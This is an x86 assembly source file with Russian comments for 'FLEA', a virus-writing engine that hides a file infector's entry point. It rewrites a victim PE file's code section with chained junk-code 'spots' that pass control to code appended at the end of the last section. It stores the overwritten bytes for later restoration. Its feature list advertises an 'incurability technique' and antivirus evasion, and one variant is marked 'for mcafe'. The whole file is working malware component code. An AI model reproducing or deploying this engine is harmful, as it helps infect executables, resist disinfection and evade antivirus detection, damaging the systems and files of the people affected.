;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                                                                                                        ; 
;                                                                                                        ;
;                        xxxxxxxxxxx   xxxx          xxxxxxxxxxx     xxxxxxxxxx                          ; 
;                        xxxxxxxxxxx   xxxx          xxxxxxxxxxx    xxxx   xxxx                          ;
;                        xxxx          xxxx          xxxx          xxxx    xxxx                          ;
;                        xxxx          xxxx          xxxx          xxxx    xxxx                          ;
;                        xxxxxxxxx     xxxx          xxxxxxxxx     xxxx    xxxx                          ;
;                        xxxxxxxxx     xxxx          xxxxxxxxx     xxxx xx xxxx                          ;
;                        xxxx          xxxx          xxxx          xxxx xx xxxx                          ;
;                        xxxx          xxxx   xxxx   xxxx          xxxx    xxxx                          ;
;                        xxxx          xxxxxxxxxxx   xxxxxxxxxxx   xxxx    xxxx                          ;
;                        xxxx          xxxxxxxxxxx   xxxxxxxxxxx   xxxx    xxxx                          ;
;                                                                                                        ; 
;                                                                                                        ;   
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                                         UEP ENGINE                                                     ;
;                                            FLEA                                                        ; 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; 
;                                                                                                        ;
;                                           :)!                                                          ;
;                                                                                                        ; 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                                                                                                        ;
;                                       функция FLEA                                                     ;
;                                      уеп(уёб) движок                                                   ; 
;                                                                                                        ;
;                                                                                                        ;
;ВХОД:                                                                                                   ; 
;1 параметр (и единственный) - адрес структуры (UEPGEN) (ее описание смотри ниже)                        ;
;--------------------------------------------------------------------------------------------------------;
;ВЫХОД:                                                                                                  ;
;EAX - абсолютный виртуальный адрес точки входа                                                          ;
;(а также самое главное: запись пятен в кодовую секцию с последующим сохранением оригинальных байт       ; 
;--------------------------------------------------------------------------------------------------------;
;ЗАМЕТКИ:                                                                                                ;
;структура, указатель на которую передан в качестве параметра, не портится, т.е. данные в ней после      ;
;вызова данного движка остаются теми же.                                                                 ; 
;                                                                                                        ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;  
;                                                                                                        ;
;                                           !                                                            ;
;                                                                                                        ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; 
;                                                                                                        ;
;                                   ОПИСАНИЕ СТРУКТУРЫ                                                   ;
;                                        UEPGEN                                                          ;  
;                                                                                                        ;
;                                                                                                        ;
;UEPGEN struct                                                                                           ; 
;   rgen_addr           dd  ?   ;адрес Генератора Случайных Чисел (ГСЧ)                                  ;
;   tgen_addr           dd  ?   ;адрес Генератора Мусорных Инструкций                                    ;  
;   mapped_addr         dd  ?   ;база мэппинга файла (MapViewOfFile)                                     ; 
;   xsection            dd  ?   ;IMAGE_SECTION_HEADER секции, в которую после после передать управление  ; 
;   reserved1           dd  ?   ;зарезервировано                                                         ;  
;MORPHGEN   ends                                                                                         ;
;                                                                                                        ; 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                                                                                                        ;
;                                   ОПИСАНИЕ СТРУКТУРЫ                                                   ;
;                                         T2GEN                                                          ; 
;                                    (aka TRASHGEN)                                                      ; 
;                       (более детальное описание смотри в движке xTG)                                   ; 
;                                                                                                        ;
;                                                                                                        ;
;TRASHGEN   struct                                                                                       ;
;   rgen_addr       dd      ?   ;адрес Генератора Случайных Чисел (ГСЧ)                                  ;
;   buf_for_trash   dd      ?   ;адрес (буфер), куда записывать генерируемое (хех, качественное) дерьмо  ;
;   size_trash      dd      ?   ;размер (в байтах), сколько мусора записать                              ;
;   regs            dd      ?   ;занятые регистры (2 шт)                                                 ;
;   xmask1          dd      ?   ;64-битная маска для генерации                                           ;
;   xmask2          dd      ?   ;мусорных команд (ака фильтр)                                            ;
;   beg_addr        dd      ?   ;начальный адрес                                                         ;
;   end_addr        dd      ?   ;конечный адрес                                                          ;
;   mapped_addr     dd      ?   ;зарезервировано (либо база мэпинга (ака адрес файла в памяти))          ;      
;   reserv1         dd      ?   ;зарезервировано (хз, может когда-то там что и будет)                    ; 
;TRASHGEN   ends                                                                                         ;
;                                                                                                        ; 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                                                                                                        ;
;                                           !                                                            ;
;                                                                                                        ; 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; 
;                                                                                                        ;
;                           ПОЯСНЕНИЕ К ПОЛЯМ СТРУКТУРЫ UEPGEN:                                          ;  
;                                                                                                        ;
;                                                                                                        ;
;[   rgen_addr   ] :                                                                                     ; 
;                    так как данный движок (FLEA) разработан без привязки к какому-либо другому мотору,  ;
;                    а для генерации мусора (и некоторых других фич) важен ГСЧ, поэтому адрес ГСЧ        ; 
;                    хранится в (данном) поле структуры.                                                 ;
;                    ВАЖНО: если мотор FLEA будет использовать другой ГСЧ (а не тот, который             ;
;                    идет с ним в комплекте), надо, чтобы этот другой ГСЧ принимал в качестве 1-го       ;
;                    (и единственного!) параметра в стэке число (назовем его N), так как поиск будет в   ;
;                    диапазоне [0..n-1]. И на выходе другой ГСЧ должен возвращать в EAX случайное число. ;  
;                    Остальные регистры должны остаться неизменными. Все.                                ; 
;--------------------------------------------------------------------------------------------------------; 
;[   tgen_addr   ] :                                                                                     ;
;                    аналогично, как и с предыдущим полем структуры. Только тогда генератор мусора       ;
;                    должен быть приведен к виду, как xTG (в ненужных полях можно передавать нули и все  ;
;                    тип-топ).                                                                           ;
;--------------------------------------------------------------------------------------------------------;
;[  mapped_addr  ] :                                                                                     ; 
;                    в этом поле хранится база мэппинга файла. Как пример, значение получаемое после     ; 
;                    вызова функи MapViewOfFile.                                                         ; 
;--------------------------------------------------------------------------------------------------------; 
;[   xsection    ] :                                                                                     ;   
;                    здесь передавать либо 0, либо IMAGE_SECTION_HEADER (в жертве) той секции, в         ; 
;                    которую после отработки должен будет передать управление данный uep-движок.         ; 
;                    Если здесь 0, то управление будет передано в конец последней секции.                ;  
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;                         
;                                                                                                        ;
;                                          ЗАМЕТКИ                                                       ;
;                                                                                                        ;
;                                                                                                        ;
;1) для сокрытия точки входа (то есть для генерации пятен) следует вызвать (главную) функцию FLEA.       ;
;2) для восстановления ранее сохраненных байт следует вызвать FLEA_RESTBYTES (возможно потребуется       ;
;   нужному участку памяти задать атрибуты страниц на чтение+запись).                                    ;
;3) так как пятна представляют собой подфункции (с прологом, эпилогом, командой ret), и переход к        ;
;   следующему пятну осуществляется с помощью CALL'ов, то в стэке лежат разные значения. И чтобы после   ;
;   стэк сбалансировать, следует вызвать FLEA_RESTSTACK. ВАЖНО: перед вызовом функции FLEA_RESTSTACK,    ;
;   в стэке не должно быть уже никаких других данных.                                                    ;
;                                                                                                        ; 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; 
;                                                                                                        ;
;                                           y0p!                                                         ;
;                                                                                                        ;  
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                                                                                                        ;
;                                           ФИЧИ                                                         ;
;                                                                                                        ;
;                                                                                                        ;
;(+) генерация рандомного числа пятен                                                                    ; 
;                                                                                                        ;
;(+) пятна имеют рандомный размер, а также разный переход по пятнам (сверху вниз и наоборот)             ;
;                                                                                                        ;
;(+) техника неизлечимости                                                                               ; 
;                                                                                                        ;
;(+) использование ГСЧ и Генератора Мусора (особенно своих, так это вообще охуительно)                   ; 
;                                                                                                        ;
;(+) базонезависимость                                                                                   ;
;                                                                                                        ; 
;(+) пятна выглядят как подфункции (с прологом, эпилогом, командой ret, а также возможно и fake winapi)  ;
;                                                                                                        ;  
;(+) нет привязки к другим движкам (ГСЧ & trashgen можно юзать любой - условия читай выше;)              ; 
;       * можно компилить как самостоятельный модуль;                                                    ;            
;                                                                                                        ;
;(+) не юзает WinAPI                                                                                     ;
;                                                                                                        ;
;(+) управление можно передавать на любую секцию после отработки uep-движка (также опционально)          ; 
;                                                                                                        ; 
;(x) использует данные и дельта-смещение.                                                                ;  
;                                                                                                        ;              
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                                                                                                        ;
;                                           y0p!                                                         ;
;                                                                                                        ; 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                                                                                                        ;
;                                       ИСПОЛЬЗОВАНИЕ:                                                   ;
;                                                                                                        ;
;                                                                                                        ;
;1) Подключение:                                                                                         ;
;       FLEA.asm                                                                                         ; 
;2) Вызов (пример stdcall):                                                                              ;
;       ...                                                                                              ;
;       szBuf       db 100      dup (00h)                                                                ; 
;       ...                                                                                              ;
;       lea     ecx,szBuf                                                                                ;
;       assume  ecx:ptr UEPGEN                                                                           ;      
;       mov     [ecx].rgen_addr,00401000h       ;по этому адресу должен находиться ГСЧ                   ;
;       mov     [ecx].tgen_addr,00401300h       ;по этому адресу должен находиться трэшген               ; 
;       mov     [ecx].mapped_addr,00330000h     ;по этому адресу находится база мэппинга                 ;  
;       mov     [ecx].xsection,0                ;ставим в ноль, значит уеп после передаст управление     ; 
;                                               ;на конец последней секции                               ;  
;                                               ;остальные параметры обнулены.                           ;
;       call    FLEA                            ;вызываем полиморфный движок                             ;  
;                                                                                                        ; 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; 
;v1.0 
;коменты обычно пишутся ночью, поэтому возможен бредняк в них. 
 


                                                        ;m1x
                                                    ;pr0mix@mail.ru
                                                ;EOF 
                                                                                                  
                                                                                                    





;========================================================================================================
;структуры
;========================================================================================================
UEPGEN  struct
    rgen_addr       dd      ?
    tgen_addr       dd      ? 
    mapped_addr     dd      ?
    xsection        dd      ? 
    reserved1       dd      ? 
UEPGEN  ends 
;--------------------------------------------------------------------------------------------------------  
T2GEN   struct                                                                                           ;
    rgen_addr       dd      ?   ;адрес Генератора Случайных Чисел (ГСЧ)                                  ;
    buf_for_trash   dd      ?   ;адрес (буфер), куда записывать генерируемое (хех, качественное) дерьмо  ;
    size_trash      dd      ?   ;размер (в байтах), сколько мусора записать                              ;
    regs            dd      ?   ;занятые регистры (2 шт)                                                 ;
    xmask1          dd      ?   ;64-битная маска для генерации                                           ;
    xmask2          dd      ?   ;мусорных команд (ака фильтр)                                            ;
    beg_addr        dd      ?   ;начальный адрес                                                         ;
    end_addr        dd      ?   ;конечный адрес                                                          ;
    mapped_addr     dd      ?   ;база мэпинга                                                            ; 
    reserv1         dd      ?   ;зарезервировано (хз, может когда-то там что и будет)                    ; 
T2GEN   ends                                                                                             ;
;========================================================================================================




MAX_SPOTS           equ     10                  ;максимальное кол-во генерируемых пятен             
uportion1           equ     85                  ;размер (в байтах) 1-ой порции мусора 
uportion2           equ     50                  ;размер (в байтах) 2-ой порции мусора
MIN_FIRST_PORTION   equ     uportion1-30        ;генерировать первую порцию мусора не меньше данного кол-ва байт    
min_jmp             equ     uportion1+uportion2+7+10+30 ;расстояние минимальное  
max_jmp             equ     min_jmp+200         ;расстояние максимальное 

                                                ;далее идут значения для трэшгена
begin_address       equ     0                   ;начальный адрес (описание смотри в xTG.asm, либо ставь нули) 
end_address         equ     0                   ;конечный адрес
mask_trash1         equ     00000000000011111111110101111001b ;маска для мусора 
mask_trash2         equ     011110000b          ;2-ая часть маски (разрешаем только генерацию фэйковых апишек)  


 


FLEA:                                           ;движок FLEA   
    pushad                                      ;сохраняем регистры 
    cld 
    mov     ebp,esp                             ;[ebp+00] 
    mov     ebx,dword ptr [ebp+24h] 
    assume  ebx:ptr UEPGEN                      ;ebx - указатель на структуру UEPGEN
    mov     esi,[ebx].mapped_addr      
    assume  esi:ptr IMAGE_DOS_HEADER
    add     esi,[esi].e_lfanew
    push    esi                                 ;[ebp-04] ;сохраняем указатель на IMAGE_NT_HEADERS 
    lodsd
    assume  esi:ptr IMAGE_FILE_HEADER
    movzx   ecx,[esi].NumberOfSections
    movzx   edx,[esi].SizeOfOptionalHeader
    add     esi,sizeof IMAGE_FILE_HEADER 
    assume  esi:ptr IMAGE_OPTIONAL_HEADER 
    push    [esi].AddressOfEntryPoint           ;[ebp-08] ;сохраняем точку входа 
    push    [esi].ImageBase                     ;[ebp-12] ;сохраняем базу 
    add     esi,edx 
    assume  esi:ptr IMAGE_SECTION_HEADER
    sub     esp,(sizeof T2GEN + 4 + 80)         ;выделяем в стэке место для временных переменных и структуры T2GEN (aka TRASHGEN) 
    mov     tgen_struct,esp
    mov     edx,esp
    assume  edx:ptr T2GEN
;-------------------------------------------------------------------------------------------------------- 
    push    mask_trash1                         ;пофильтруем маску для генерации трэша  
    call    gen_mask
    or      al,1 
    mov     xtmask1,eax   
    push    mask_trash2
    call    gen_mask 
    or      eax,01110000b          
    mov     xtmask2,eax 
;--------------------------------------------------------------------------------------------------------    
    push    [ebx].rgen_addr                     ;вначале заполним некоторые поля структуры TRASHGEN 
    pop     [edx].rgen_addr
    mov     [edx].regs,0FFh
    push    xtmask1
    pop     [edx].xmask1
    push    xtmask2 
    pop     [edx].xmask2
    mov     [edx].beg_addr,begin_address
    mov     [edx].end_addr,end_address
    push    [ebx].mapped_addr
    pop     [edx].mapped_addr   
    xor     eax,eax 
    cdq                       
;--------------------------------------------------------------------------------------------------------
_search_new_ep_:                                ;далее начинаем поиск кодовой секции 
    cmp     edx,[esi].VirtualAddress
    ja      _search_code_sec_
    cmp     eax,[esi].PointerToRawData 
    ja      _search_code_sec_    
    mov     edx,[esi].VirtualAddress            ;а также сохраним новую точку входа (она будет указывать на конец последней секции)      
    mov     eax,[esi].PointerToRawData
    mov     edi,[esi].SizeOfRawData
    mov     new_ep,edx
    add     new_ep,edi 
;--------------------------------------------------------------------------------------------------------
_search_code_sec_:
    push    eax 
    mov     eax,old_ep
    mov     edi,[esi].VirtualAddress 
    cmp     edi,eax;old_ep
    ja      _nextsection_
    cmp     [esi].Misc.VirtualSize,0
    jne     _vsok_
    add     edi,[esi].SizeOfRawData   
    jmp     _psok_
_vsok_:
    add     edi,[esi].Misc.VirtualSize
_psok_:  
    cmp     edi,eax  
    jbe     _nextsection_  
    sub     eax,[esi].VirtualAddress
    add     eax,[esi].PointerToRawData 
    add     eax,[ebx].mapped_addr   
    mov     start_addr,eax                      ;если нашли кодовую секцию, то сохраним физический адрес точки входа, т.к. отсюда и начнем клепать пятна    
    mov     codesec,esi                         ;а также сохраним аказатель в табличке секций на кодовую секцию  
_nextsection_: 
    pop     eax
    add     esi,sizeof IMAGE_SECTION_HEADER
    loop    _search_new_ep_ 
;--------------------------------------------------------------------------------------------------------
    mov     esi,codesec                         ;после вычислим конец кодовой секции 
    mov     eax,[esi].SizeOfRawData 
    cmp     eax,[esi].Misc.VirtualSize
    jbe     _sizecsok_
    cmp     [esi].Misc.VirtualSize,0 
    je      _sizecsok_ 
    mov     eax,[esi].Misc.VirtualSize
     
_sizecsok_:
    add     eax,[esi].VirtualAddress        
    sub     eax,old_ep
    mov     size_codesec,eax
    add     eax,old_ep
    mov     max_codesec_addr,eax  
    mov     edi,imNTh
    assume  edi:ptr IMAGE_NT_HEADERS
;--------------------------------------------------------------------------------------------------------    
_maxvacs_:                                      ;далее, найдем максимальный адрес, и получится отрезок:
                                                ;[физич. адрес точки входа ; максимальный адрес в кодовой секции] 
                                                ;и в этом отрезке будем записывать пятна. Иначе в кодовой секции могут быть директории импорта, tls и т.д.
                                                ;И если мы перепишем их своими пятнами, то будет пыцдэт файлу 
    mov     eax,[edi].OptionalHeader.DataDirectory[ecx*8].VirtualAddress    
    cmp     old_ep,eax
    ja      _nextdatadir_  
    cmp     max_codesec_addr,eax 
    jb      _nextdatadir_ 
    mov     max_codesec_addr,eax  
_nextdatadir_:    
    inc     ecx
    cmp     ecx,15
    jne     _maxvacs_
;--------------------------------------------------------------------------------------------------------
    mov     eax,max_codesec_addr      
    sub     eax,[esi].VirtualAddress
    add     eax,[esi].PointerToRawData
    add     eax,[ebx].mapped_addr  
    mov     max_codesec_addr,eax                ;получаем максимальный физический адрес в кодовой секции  
                                                ;Так, теперь диапазон у нас есть 
    mov     eax,start_addr
    mov     cur_codesec_addr,eax

    push    MAX_SPOTS
    call    [ebx].rgen_addr                     ;рэндомно получаем, сколько пятен сгенерим и запишем в кодовую секцию  
    inc     eax  
    mov     num_spots,eax
       
    call    _delta_uep_
_delta_uep_:
    pop     eax
    sub     eax,_delta_uep_
    lea     ecx,[restore_bytes+eax]
    mov     beg_rest_bytes,ecx                  ;в этот буфер будем сохранять оригинальные байты из кодовой секции (которые перепишем пятнами) 
     
    xor     ecx,ecx     
;-------------------------------------------------------------------------------------------------------- 
_nextaddrforspots_:       
    call    get_jmpaddr                         ;получим адрес очередного пятна, на которое прыгнем  
    add     eax,cur_codesec_addr
    push    eax                                   
    add     eax,(uportion1+uportion2+7+10)      ;прибавим 2 порции мусора + max размер (mov reg,<address>   call reg) (7 byte) + размер пролога и эпилога для каждого пятнышка (6 byte  + 3 byte) + размер команды ret (+1 byte)              
    cmp     eax,max_codesec_addr                ;и сравним с максимальный допустимым адресом  
    pop     eax 
    jae     _alladdrforspots_                   ;если больше макс. адреса, то пятна больше не варик генерить, и выходим из цикла 
    push    eax                                 ;иначе сохраняем в стэке адрес   
    mov     cur_codesec_addr,eax                ;сделаем текущим адресом проверки адрес для нового пятна  
    inc     ecx
    cmp     ecx,num_spots
    jne     _nextaddrforspots_
_alladdrforspots_:
    mov     num_spots,ecx                       ;сохраним кол-во пятен, которые точно можно записать в кодовой секции 
;--------------------------------------------------------------------------------------------------------
    cmp     cl,1  
    push    0
    pop     eax
    jb      _enduep_                            ;если ноль пятен, то выходим из движка      
    mov     eax,esp  
    push    start_addr                          ;будем перемешивать все полученные адреса пятен, кроме первого  
    je      _nomixaddr_       
;--------------------------------------------------------------------------------------------------------        
    push    ecx
    push    eax
    call    mix_addr                            ;перемешаем адреса пятен 

_nomixaddr_:    
    xor     edx,edx
    mov     edi,beg_rest_bytes
    stosb                                       ;в 1-ом байте будет храниться кол-во пятен. Пока пропустим его 
    mov     cur_rest_bytes,edi 
;-------------------------------------------------------------------------------------------------------- 
_genspot_:
    mov     edi,cur_rest_bytes  
_portion1_: 
    push    uportion1 
    call    [ebx].rgen_addr
    cmp     eax,MIN_FIRST_PORTION
    jb      _portion1_                       
    mov     spot1,eax
    xchg    eax,ecx
    push    uportion2
    call    [ebx].rgen_addr
    mov     spot2,eax
    add     ecx,eax 
    add     ecx,(7+10)                          ;max_size (mov reg,<address>   call reg) (7 byte) + prologue (6 byte) + epilogue (3 byte) + ret (1 byte)    
    mov     eax,ecx
    stosd                                       ;сначала сохраним в спец. буфере размер очередного пятна (это 1-ая порция мусора + jmp + 2-ая порция мусора)  
    mov     eax,dword ptr [esp]
    mov     esi,codesec
    sub     eax,[ebx].mapped_addr 
    sub     eax,[esi].PointerToRawData
    add     eax,[esi].VirtualAddress
    add     eax,base
    stosd                                       ;и сохраним следом абослютный виртуальный адрес, куда после будем восстанавливать ранее сохраненные байты        
    mov     esi,dword ptr [esp] 
    rep     movsb                               ;а после сохраним байты, на место которых запишем пятно 
    mov     cur_rest_bytes,edi
    pop     edi 
    push    edx
    mov     edx,tgen_struct   
;--------------------------------------------------------------------------------------------------------    
    mov     [edx].buf_for_trash,edi 
    mov     [edx].size_trash,6                  ;размер пролога   
    mov     [edx].xmask1,0b
    mov     [edx].xmask2,100b                   ;в маске разрешаем генерацию только пролога (для другого генератора мусора здесь возможна генерация порции мусора)   
    push    edx
    call    [ebx].tgen_addr                     ;запишем пролог (push ebp   mov ebp,esp   sub esp,0xXX)           
    push    xtmask1
    pop     [edx].xmask1
    push    xtmask2
    pop     [edx].xmask2  
;--------------------------------------------------------------------------------------------------------    
    mov     [edx].buf_for_trash,eax 
    mov     eax,spot1 
    mov     [edx].size_trash,eax
    push    edx
    call    [ebx].tgen_addr                     ;запишем первую порцию мусора       
    xchg    eax,edi
    push    edi
    add     edi,5
    mov     eax,dword ptr [esp+04]
    cmp     eax,num_spots                       ;проверим, остался последний адрес для записи пятна?
    jne     _nextspot_                          ;если да, тогда запишем финальное пятно, jmp в котором будет указывать на последнюю секцию, а не на очередное пятно 
;******************************************************************************************************** 
comment %       
                                                ;запись финального пятна 
    mov     esi,codesec                         ;с помощью нехитрой формулы посчитаем операнд для jmp (0xE9)                            
    sub     edi,[ebx].mapped_addr
    sub     edi,[esi].PointerToRawData
    add     edi,[esi].VirtualAddress
    mov     ecx,[ebx].xsection
    jecxz   _notxsec_
    assume  ecx:ptr IMAGE_SECTION_HEADER 
    sub     edi,[ecx].VirtualAddress
    sub     edi,[ecx].SizeOfRawData             ;здесь строим call near (0xE8 0xXX 0xXX 0xXX 0xXX)   
    jmp     _finalcall_
_notxsec_: 
    sub     edi,new_ep
_finalcall_:
    neg     edi
    xchg    edi,dword ptr [esp]
    mov     al,0E8h ;0E9h                       ;CALL NEAR 0xXXXXXXXX (0xE8 0xXX 0xXX 0xXX 0xXX)   
    stosb
    pop     eax
    stosd 
        ;%
                          
;comment !                                      ;for mcafe
    mov     edi,new_ep 
    mov     ecx,[ebx].xsection
    jecxz   _notxsec_                           ;если поле пустое, значит управление после уепа передаем в конец последней секции  
    assume  ecx:ptr IMAGE_SECTION_HEADER
    mov     edi,[ecx].VirtualAddress
    add     edi,[ecx].SizeOfRawData    
_notxsec_:
    add     edi,base                            ;а здесь строим   
    xchg    edi,dword ptr [esp]
    mov     al,0B8h                             ;mov    reg32,<address>
    stosb
    pop     eax
    stosd
    mov     al,0FFh                             ;call   reg32 
    stosb
    mov     al,0D0h
    stosb 
        ;!   
    mov     [edx].buf_for_trash,edi
    mov     eax,spot2
    mov     [edx].size_trash,eax
    push    edx
    call    [ebx].tgen_addr                     ;2-ая порция мусора для финального пятна 
;--------------------------------------------------------------------------------------------------------
    mov     [edx].buf_for_trash,eax  
    mov     [edx].size_trash,3                  ;размер эпилога  
    mov     [edx].xmask1,0b
    mov     [edx].xmask2,1000b                  ;в маске разрешаем генерацию только эпилога (для другого генератора мусора здесь возможна генерация очередной порции мусора)     
    push    edx
    call    [ebx].tgen_addr                     ;запишем эпилог для финального пятна (mov esp,ebp   pop ebp)           
    mov     byte ptr [eax],0C3h                 ;и запишем ret    
;-------------------------------------------------------------------------------------------------------- 
    pop     edx  
    jmp     _endspot_                           ;выходим из цикла  
;********************************************************************************************************  
                                                ;запись очередного пятна 
_nextspot_: 
    sub     edi,dword ptr [esp+08]              ;следующий адрес
    neg     edi
    xchg    edi,dword ptr [esp]
    mov     al,0E8h                             ;CALL NEAR (0xE8 0xXX 0xXX 0xXX 0xXX)   
    stosb
    pop     eax
    stosd 
    mov     [edx].buf_for_trash,edi
    mov     eax,spot2
    mov     [edx].size_trash,eax
    push    edx
    call    [ebx].tgen_addr                     ;2 порция мусора для очередного пятнышка 
;-------------------------------------------------------------------------------------------------------- 
    mov     [edx].buf_for_trash,eax  
    mov     [edx].size_trash,3                  ;размер эпилога  
    mov     [edx].xmask1,0b
    mov     [edx].xmask2,1000b                  ;в маске разрешаем генерацию только эпилога (для другого генератора мусора здесь возможна генерация очередной порции мусора)    
    push    edx
    call    [ebx].tgen_addr                     ;запишем эпилог для очередного пятна (mov ebp,esp   pop ebp)           
    mov     byte ptr [eax],0C3h                 ;и запишем ret 
;--------------------------------------------------------------------------------------------------------     
    pop     edx
    inc     edx
    jmp     _genspot_  
;-------------------------------------------------------------------------------------------------------- 
_endspot_: 
    mov     edi,beg_rest_bytes 
    mov     eax,num_spots                       ;корректируем кол-во записанных пятен (т.к. до этого мы не посчитали 1-ого пятна, которое всегда записывается в точке входа) 
    inc     eax
    stosb
    mov     eax,start_addr
    mov     esi,codesec
    sub     eax,[ebx].mapped_addr
    sub     eax,[esi].PointerToRawData
    add     eax,[esi].VirtualAddress   
    add     eax,base 
;-------------------------------------------------------------------------------------------------------- 
_enduep_:  
    mov     esp,ebp  
    mov     dword ptr [ebp+1Ch],eax             ;результат в EAX   
    popad 
    ret     4
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец дфункции/движка FLEA 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx     






;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;функция FLEA_RESTBYTES
;восстановление ранее сохраненных байт (на свои места)
;ВЫХОД:
;    - делает свое дело :)
;EAX - кол-во сгенерированных пятен (на места которых восстановим ранее сохраненные байты) 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 
FLEA_RESTBYTES:  
    pushad  
    cld 
    call    _delta_ueprest_
_delta_ueprest_:
    pop     eax
    sub     eax,_delta_ueprest_ 
    lea     esi,[restore_bytes+eax]
    push    esi 
    xor     eax,eax 
    lodsb
    xchg    eax,ebx                             ;сохраняем в EBX кол-во записанных пятен    
    mov     edx,ebx 
_nextrestspot_: 
    lodsd
    xchg    eax,ecx                             ;сохраняем в ECX размер очередного пятна 
    lodsd
    xchg    eax,edi                             ;сохраняем в EDI адрес, где находится очередное пятно 
    rep     movsb                               ;и запишем на место этого пятна оригинальные (ранее сохраненные) байты 
    dec     ebx
    jne     _nextrestspot_
    pop     eax
    sub     esi,eax
    xchg    eax,esi
    mov     dword ptr [esp+1Ch],edx   
    popad
    ret   
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции FLEA_REST 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 





;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;функция FLEA_RESTSTACK
;сбаланирование стэка после после пятен 
;ВХОД (stdcall) (FLEA_RESTSTACK(DWORD num_spots)):
;num_spots - количество отработанных в жертве пятен 
;            (это значение можно получить из буфера restore_bytes)      
;ВЫХОД: 
;балансировка стэка, а также в ECX=0, EAX = адрес команды, которая выполняется сразу после вызова данной 
;функции (FLEA_RESTSTACK); 
;ЗАМЕТКИ:
;   так как каждое пятно меняло регистр EBP и ESP (клало EBP  в стэк, а также адрес, следующий за 
;   CALL'ом), то надо восстановить данные регистры, и соответственно стэк.
;   ВАЖНО: вызывать эту функцию только тогда, когда в стэке вы уже не храните никакие данные.   
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 
FLEA_RESTSTACK:
    pop     eax 
    pop     ecx   
_reststack_: 
    add     esp,4                               ;pop    edx 
    mov     esp,ebp
    pop     ebp
    loop    _reststack_
    jmp     eax
